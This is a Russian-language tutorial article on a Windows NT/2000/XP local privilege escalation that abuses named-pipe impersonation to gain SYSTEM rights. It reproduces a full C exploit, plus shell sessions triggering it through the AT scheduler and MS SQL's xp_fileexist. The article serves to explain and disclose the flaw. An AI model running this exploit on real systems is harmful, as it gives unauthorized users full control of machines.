Операционные системы, созданные корпорацией
Microsoft за последние несколько лет, основаны на ядре Windows NT. Это решение положительно
повлияло на безопасность выпускаемых ОС, относительно удаленных, а также
локальных атак. Но тем не менее остаются моменты, позволяющие получить
права системы на атакуемом компьютере. В основном это переполнение
стека, Heap области, а также другие уязвимости, имеющие место в
операционных системах других производителей. Но не стоит забывать об
ошибках, которые могут возникнуть в процессе непредвиденного
использования системных функций. Такого рода ошибки возникают время от
времени и специфичны для каждой ОС. Windows не исключение, что уже было
не раз доказано. 

Специфические ошибки чаще всего возникают в процессе работы локальных
пользователей. Это не есть факт, просто локальный пользователь может
воспользоваться намного большим количеством
функций, предоставляемых Windows, нежели удаленный. Таким образом мы утверждаем, что существует
возможность повышения привилегий локального пользователя, которой можно
воспользоваться. Говоря о повышении привилегий, мы
имеем ввиду получения прав системы, чтобы не иметь никаких ограничений вообще. На данный
момент существует несколько способов добиться
желаемого, я в свою очередь расскажу о наиболее новом из них.

Согласно MSDN, чтобы исполнить приложение от имени чужой учетной записи
следует использовать функции LogonUser() и
CreateProcessAsUser(). LogonUser() требует в качестве параметров логин и пароль учетной записи,
в правах которой мы нуждаемся. Задачей LogonUser() является установка
прав доступа SE_ASSIGNPRIMARYTOKEN_NAME и SE_INCREASE_QUOTA_NAME для
дескриптора маркера пользователя. Эти права нам необходимы чтобы
использовать функцию CreateProcessAsUser(). Такими правами обладают
исключительно системные процессы, поэтому даже учетная запись
'Administrator' не может успешно выполнить
CreateProcessAsUser(). Следовательно, чтобы мы смогли исполнить приложение (например cmd.exe) с
правами системы, нам уже надо их иметь. Но поскольку нам не
известны логин и пароль привилегированного  
пользователя, то требуется найти иное решение.

В данной статье пойдет речь о получении привилегий 'LocalSystem' с
помощью функции открытия файла. Дело в том, что для открытия файла
используется функция CreateFile(). Ее формат следующий:

HANDLE CreateFile(
LPCTSTR lpFileName, 
DWORD dwDesiredAccess, 
DWORD dwShareMode, 
LPSECURITY_ATTRIBUTES lpSecurityAttributes, 
DWORD dwCreationDisposition, 
DWORD dwFlagsAndAttributes, 
HANDLE hTemplateFile 
); 

Таким образом, открытие файла происходит следующим образом:

HANDLE hFile;
hFile=CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

Но для тех, кто хорошо знаком с организацией работы Windows, не секрет,
что данная функция имеет более широкое применение в работе ОС. С ее
помощью создаются или открываются файлы, директории,
физические диски, коммуникационные ресурсы, mailslot'ы и pipe'ы. В данном случае нас
интересует только последнее, а именно pipe (канал). 

Каналы используются для пересылки данных в одном направлении
- между дочерним и родительским процессами или между двумя дочерними процессами.
Операции чтения/записи в канал похожи на подобные 
операции при работе с файлами.

Именованные Каналы используются для двустороннего обмена данными между
процессом-сервером и одним или несколькими процессами-клиентами. Как и
анонимные каналы, они используют файлоподобный интерфейс, но, в отличие
от первых, пригодны также для обмена данными по сети.

Процедура создания именованных каналов имеет такой вид:

HANDLE hPipe = 0;
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, 
PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);

В качестве названия именованного канала можно указать любое имя, но при
этом следует придерживаться определенного формата. Так, вполне приемлемым
именем будет "\\.\pipe\GetSys". В ОС Windows последовательность
"\\.\" автоматически добавляется к имени открываемого файла. Так при попытке
открытия файла "C:\boot.ini" система попытается обратиться к файлу
"\\.\C:\boot.ini".Этот формат также может быть использован при обращении
к файлам совместно с UNC стандартом.

Эти знания дают нам возможность предполагать, что вполне возможно
заставить приложение работающее с пользовательским файлом, обратится к
именованному каналу. Так, если имя созданного нами канала
"\\.\pipe\GetSys", то следует обращаться к файлу
"\\ComputerName\pipe\GetSys". А это, в свою очередь, дает нам намного
больше возможностей для манипулирования маркером доступа.

Impersonation token - маркер доступа, позволяющий захватить информацию о
правах клиента. Иными словами - это возможность сервера исполнить роль
клиента в системе безопасности. Сервером в данном случае выступает
именованный канал, поэтому он может
представится клиентом, который пытался открыть файл. Это возможно, поскольку мы имеем относительно
клиента права SecurityImpersonation, а если быть точнее, то получаем их.
Если приложение имело системные права в системе, мы получаем возможность
изменения реестра, управления процессами и памятью, а также другие
возможности, ограниченные для обычного пользователя.

Реализовать такую атаку на практике достаточно просто. При написании
программы, использующую данную уязвимость, следует пойти по такому
сценарию:

[1] Создать именной канал

После его создания, следует подождать подключения клиента,
чтобы получить относительно него наивысшую
ступень доверия.

[2] Представиться клиентом

Поскольку предполагается, что приложение-клиент имеет системные права, мы их получаем тоже.

[3] Получить все необходимые права

Вообще-то нам нужны только:

- SE_ASSIGNPRIMARYTOKEN_NAME
- SE_INCREASE_QUOTA_NAME

- TOKEN_ALL_ACCESS
- TOKEN_DUBLICATE

Они необходимы нам, в основном, для использования функции CreateProcessAsUser().Чтобы получить их, необходимо создать новый маркер доступа с правами TOKEN_ALL_ACCESS.
Благо мы имеем права на выполнение данного действия,
поскольку в уже получили системные привилегии клиента.

[4] Исполнить необходимый программный код.

Это может быть чтение данных с реестра, установка HOOK'ов, а также исполнение произвольных команд с правами системы. Я
считаю, что наиболее интересным является последнее, поскольку мы получаем возможность исполнения, уже готового, приложения для
специфических потребностей.

Как уже говорилось, исполнить приложение, сохранив за ним привилегии
системы, можно используя функцию CreateProcessAsUser(). Мы снова
вернулись к началу данного материала, но на этот раз у нас уже есть все
необходимые привилегии. Права 'LocalSystem' у нас в руках. 

Относительно реализации данного метода повышения привилегий не должно
возникнуть никаких проблем. Но все же мы рассмотрим конкретный пример
эксплоита от wirepair@sh0dan.org, который в свою очередь основан на
работе maceo@dogmile.com.

#include <stdio.h>
#include <windows.h>

int main(int argc, char **argv)
{
char szPipe[64];
DWORD dwNumber = 0;
DWORD dwType = REG_DWORD;
DWORD dwSize = sizeof(DWORD);
DWORD dw = GetLastError();
HANDLE hToken, hToken2;
PGENERIC_MAPPING pGeneric;
SECURITY_ATTRIBUTES sa;
DWORD dwAccessDesired;
PACL pACL = NULL;
PSECURITY_DESCRIPTOR pSD = NULL;
STARTUPINFO si;
PROCESS_INFORMATION pi;

if (argc != 2) {
fprintf(stderr, "Usage: %s <progname>\n", argv[0]);
return 1;
}

memset(&si,0,sizeof(si));
sprintf(szPipe, "\\\\.\\pipe\\GetSys");

// create named pipe"\\.\pipe\GetSys"

HANDLE hPipe = 0;
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, 
PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
printf ("Failed to create named pipe:\n %s\n", szPipe);
return 2;
}

printf("Created Named Pipe: \\\\.\\pipe\\GetSys\n");

// initialize security descriptor to obtain client application
// privileges
pSD = (PSECURITY_DESCRIPTOR) 
LocalAlloc(LPTR,SECURITY_DESCRIPTOR_MIN_LENGTH); 
InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION);
SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE); 
sa.nLength = sizeof (SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = pSD;
sa.bInheritHandle = FALSE;

printf("Waiting for connection...\n");

// wait for client connect
ConnectNamedPipe (hPipe, NULL);

printf("Impersonate...\n");

// impersonate client

if (!ImpersonateNamedPipeClient (hPipe)) {
printf ("Failed to impersonate the named pipe.\n");
CloseHandle(hPipe);
return 3;
}

printf("Open Thread Token...\n");

// obtain maximum rights with TOKEN_ALL_ACCESS

if (!OpenThreadToken(GetCurrentThread(), 
TOKEN_ALL_ACCESS, TRUE, &hToken )) {

if (hToken != INVALID_HANDLE_VALUE) {
printf("GetLastError: %u\n", dw);
CloseHandle(hToken);
return 4;
}
}

printf("Duplicating Token...\n");

// obtain TOKEN_DUBLICATE privilege
if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,
&sa,SecurityImpersonation, 
TokenPrimary, &hToken2) == 0) {

printf("error in duplicate token\n");
printf("GetLastError: %u\n", dw);
return 5;
}

// fill pGeneric structure
pGeneric = new GENERIC_MAPPING;
pGeneric->GenericRead=FILE_GENERIC_READ;
pGeneric->GenericWrite=FILE_GENERIC_WRITE;
pGeneric->GenericExecute=FILE_GENERIC_EXECUTE;
pGeneric->GenericAll=FILE_ALL_ACCESS;

MapGenericMask( &dwAccessDesired, pGeneric );

dwSize = 256;
char szUser[256];
GetUserName(szUser, &dwSize);

printf ("Impersonating: %s\n", szUser);

ZeroMemory( &si, sizeof(STARTUPINFO));
si.cb = sizeof(si);
si.lpDesktop = NULL;
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;

printf("Creating New Process %s\n", argv[1]); 

// create new process as user
if(!CreateProcessAsUser(hToken2,NULL, argv[1], &sa, 
&sa,true, NORMAL_PRIORITY_CLASS | 
CREATE_NEW_CONSOLE,NULL,NULL,&si, &pi)) {
printf("GetLastError: %d\n", GetLastError());
}

// wait process to complete and exit
WaitForSingleObject(pi.hProcess,INFINITE);
CloseHandle(hPipe);

return 0;
}

Данная уязвимость предоставляет нам возможность получить системные
привилегии на компьютере. Единственное необходимое условие, для успешной
атаки, это чтобы системный процесс обратился к именному каналу. Это
условие легко воссоздать используя сервисы работающие с правами
системы. Следующий пример продемонстрирует
это:

[shell 1]

>pipe cmd.exe
Created Named Pipe: \\.\pipe\GetSys
Waiting for connection...

[shell 2]

>time /T
18:15

>at 18:16 /interactive \\ComputerName\pipe\GetSys

New task added with code 1

[shell 1]
Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe

После чего запускается новый экземпляр консоли
(cmd.exe) с правами системы. Получается, что обычный пользователь может без проблем
получить права системы. Воссоздать подобную ситуацию достаточно просто и
не должно потребовать от вас большего количества
усилий. Главное, чтобы существовал сервис, который обращается к некоторым файлам. К сожалению
командой АТ может воспользоваться только администратор, и поэтому она не
подходит в реальных условиях.

На практике, данная уязвимость может использоваться локальным
пользователем для повышения привилегий в системе с установленным
Microsoft SQL Server. Он запускается с правами системы, но может
использоваться непривилегированными пользователями. Уязвимость была
найдена @stake и связана с коммандой xp_fileexist. Эта
команда предназначена для проверки существования файла, а поэтому позволяет
проэксплуатировать данную уязвимость. Сценарий атаки очень похож на
прошлый:

[shell 1]

>pipe cmd.exe
Created Named Pipe: \\.\pipe\GetSys
Waiting for connection...

[shell 2]

C:\>isql -U user
Password:
1> xp_fileexist '\\ComputerName\pipe\GetSys'
2> go
File Exists File is a Directory Parent Directory Exists
----------- ------------------- -----------------------
1 0 1

[shell 1]

Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe

Но Microsoft уже выпустила патч, устраняющий данную уязвимость в
Windows 2000 SP4. Хотя все зависит от администратора системы. Хочу
заметить, что уязвимость применима к ОС Windows NT/XP/2000.
Windows Server 2003 и Windows 2000 SP4 единственные, не имеющие данной
уязвимости.

3APA3A помог мне с написанием англоязычного варианта данной статьи, а
также исправил некоторые неточности. За это ему огромное спасибо.

[1] Overview of the "Impersonate a Client After Authentication"
http://support.microsoft.com/default.aspx?scid=kb;[LN];821546

[2] Exploit by maceo
http://www.securityfocus.com/archive/1/74523 

[3] Exploit by wirepair
http://www.securityfocus.com/archive/1/329197 

[4] Named Pipe Filename Local Privilege Escalation
http://www.atstake.com/research/advisories/2003/a070803-1.txt 

[5] Service Pack 4 for Windows 2000 
http://download.microsoft.com/download/b/1/a/b1a2a4df-cc8e-454b-ad9f-378143d77aeb/SP4express_EN.exe

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии